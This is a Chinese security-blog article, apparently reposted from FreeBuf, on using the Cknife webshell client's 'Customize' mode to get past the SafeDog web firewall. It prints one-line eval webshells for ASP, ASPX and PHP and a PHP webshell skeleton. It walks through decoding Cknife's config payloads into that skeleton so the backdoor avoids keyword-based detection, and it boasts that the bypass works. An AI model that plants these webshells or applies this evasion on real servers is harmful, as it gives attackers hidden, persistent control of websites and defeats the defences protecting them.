打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

0x00 前言

很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版,仅仅多了跨平台的功能,其实小伙伴们还没有用到精髓之处,她其实也是一款过WAF的利器。没有给大家讲解如何去使用它这是我的责任,我是一个有责任心的基佬,我会对大家负责的,于是有了下面的文章:

0x01 两种方法

Cknife有两种过WAF模式,一种为修改配置文件(Config.ini)过WAF,另外一种为Customize(自定义)模式过WAF。今天以自定义模式为例实例讲解秒过安全狗,当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单,这里只是抛砖引玉提供思路。

0x02 ReadMe.txt

很多朋友在使用软件的时候都很少会关注她,这里我附上它的有关于过WAF方面的一些内容,请大家仔细阅读红色部分。

使用说明:

服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。

代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等)

ASP:

<%eval request("Cknife")%>

ASP.NET:

<%@ PageLanguage="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%>

PHP:

<?php @eval($_POST['Cknife']);?>

Customize:

自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。

过WAF:

这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。

我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。

比如:

SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbus SPL=->| 表示截取数据的开始符号 SPR=|<- 表示截取数据的结束符号 CODE=code 编码参数 ACTION=action 动作参数 PARAM1=z1 参数1 PARAM2=z2 参数2 PHP_BASE64=1 当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0 PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式 PHP_INDEX=... 显示主页功能的代码放这儿 PHP_READDICT=... 读取主页功能的代码放这儿 PHP_READFILE=... 读取文件功能的代码放这儿 PHP_DELETE=... 删除文件夹以及文件功能的代码放这儿 PHP_RENAME=... 重命名文件夹以及文件功能的代码放这儿 PHP_NEWDICT=... 新建目录功能的代码放这儿 PHP_UPLOAD=... 上传文件功能的代码放这儿 PHP_DOWNLOAD=... 下载文件功能的代码放这儿 PHP_SHELL=... 虚拟终端功能的代码放这儿 PHP_DB_MYSQL=... 管理MYSQL数据库功能的代码放这儿 ASP_...=... ASPX_...=... JSP_...=...

除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。

Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。

换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。

应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词

,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。

Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。

比如你自写了用Customize模式连接的Customize.php服务端。

显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。

如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符

CUS_MAKE=1 CUS_INDEX=index CUS_READDICT=readdict CUS_READFILE=readfile CUS_SAVEFILE=savefile CUS_DELETE=delete CUS_RENAME=rename CUS_NEWDICT=newdict CUS_UPLOAD=upload CUS_DOWNLOAD=download CUS_SHELL=shell [此处省略1W字]

0×03 自定义模式过WAF原理

如果只是使用一句话,很多厂商都查杀了eval等敏感关键词,也查杀了传递过程中数据包中的敏感关键词。我们只需要正常的实现列目录、读文件等功能并且没有包含eval等敏感关键词就可以绕过WAF。

即服务端不使用一句话,而是把功能代码都放在服务端来执行,客户端提交正常的数据包。

0x04 过狗准备

有的朋友说还要自己写列目录、读文件等等这些功能啊,那肯定没戏了。其实不需要自己写,只需要复制粘贴修改即可。

你要有点编程基础(不用担心只要会if语句就行),然后按照我给的框架添加就行。以PHP为例:

框架如下:

<?php $pwd= 'Cknife'; //密码 if($_POST [$pwd] == 1) { $act = $_POST ['action']; // action名称 echo ("->|"); // 前分隔符 if ($act == 'index') { // 显示主页功能 } else if ($act == 'readdict') { // 读取目录功能 } else if ($act == …) // 你想要实现的功能,可以从Config.ini里面解密出来使用 { } echo ("|<-"); // 后分隔符 } ?>

首先打开咋们可爱的Config.ini文件,找到PHP_INDEX

它是C刀文件管理显示主页的功能,我们先把它解密,先url解密再base64解密

把解密结果放到eclipse里面,自动整理下(右键Source->Format)

去掉echo ("->|")前面的所有代码,去掉echo ("|<-")后面的所有代码。把中间的代码复制到框架里对应的功能里

然后就是找到PHP_READDICT解密,这里要注意解密出来z1参数前面有base64_decode函数,我们的自定义模式下传递方式是原文传递,不会自动base64加密,所以要去掉base64_decode函数

还是老规矩,去掉echo ("->|")前面的所有代码,去掉echo ("|<-")后面的所有代码。把中间的代码复制到框架里对应的功能里,注意这里已经去掉了base64_decode函数。

最后按照前面的方式再加入读取文件的功能,即PHP_READFILE

把代码保存为test.php,然后选用自定义模式连接

测试发现并没有拦截

我们尝试下一句话连接,发现会被拦截

0x05 总结

参数名称,参数内容都可以修改,哪怕是厂商把readdict列入黑名单,你同样可以在Config.ini里面修改成其他的名称。让我想起了周星驰破坏之王里的一句话:“我不是针对谁,我是说在座的各位都是垃圾”。无敌是多么的寂寞。

点击最下方“阅读原文”查看下载地址

[本文由Chora撰写并投稿,转载须注明来自FreeBuf.COM]

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2016-03-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏生信技能树

R包终极解决方案

写在前面: 在如何通过Google来使用ggplot2可视化这篇文章中,我们曾经介绍过R语言在生物信息学中的重要性。 这篇文章也激发了很多小伙伴学习的热情。学习...

69070
来自专栏网络

从零开始搭建Nginx和Tomcat的web集群环境

一直以来对于web服务器对tomcat还是很熟悉了,但是很对于nginx还是有些陌生,一看到nginx的配置就让人有一种莫名的排斥,这就是对于陌生的恐惧,我们今...

23470
来自专栏FreeBuf

Kali Linux渗透基础知识整理(四):维持访问

*本文原创作者:sysorem 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限。使用木马程序、后门程序和rootkit来达到这一目的。...

40980
来自专栏区块链

邮箱自身系统安全的防御部署实践

前面几期我们介绍的是发现邮箱安全问题和分析问题,本期我们介绍一下邮箱系统安全防御及加固手段,可以重点解决邮箱系统通用应用漏洞缺陷防护和邮箱反入侵问题。为解决邮箱...

28250
来自专栏三木的博客

基于Linux与lpc3250开发板的交叉开发环境搭建

###一、Bootloader的安装(在windows下进行) 1、什么是Bootloader: 要想弄明白什么是Bootloader,我们先从PC上的boot...

22880
来自专栏安恒信息

邮箱安全服务第6期 | 邮箱自身系统安全的防御部署实践

前面几期我们介绍的是发现邮箱安全问题和分析问题,本期我们介绍一下邮箱系统安全防御及加固手段,可以重点解决邮箱系统通用应用漏洞缺陷防护和邮箱反入侵问题。为解决邮箱...

30360
来自专栏Java帮帮-微信公众号-技术文章全总结

Java(web)项目安全漏洞及解决方式【面试+工作】

84630
来自专栏自由而无用的灵魂的碎碎念

实战解决使用ghost安装系统出现的各种问题

昨天使用ghost给人安装系统时,把另一个分区的数据都搞没了,安装完也只剩下一个分区,相信了解的同志们知道是什么原因。

15730
来自专栏Java架构

今咱们来聊聊JVM 堆外内存泄露的BUG是如何查找的前言内存泄露Bug现场查找线索总结

37740
来自专栏听雨堂

Apache+wsgi+flask部署

flask自带的web server是开发用途,并不适用与发布,需要借助专业的web服务器。 配置的坑无数,Apache部署,403禁止,莫名其妙无法访问,50...

41690

扫码关注云+社区

领取腾讯云代金券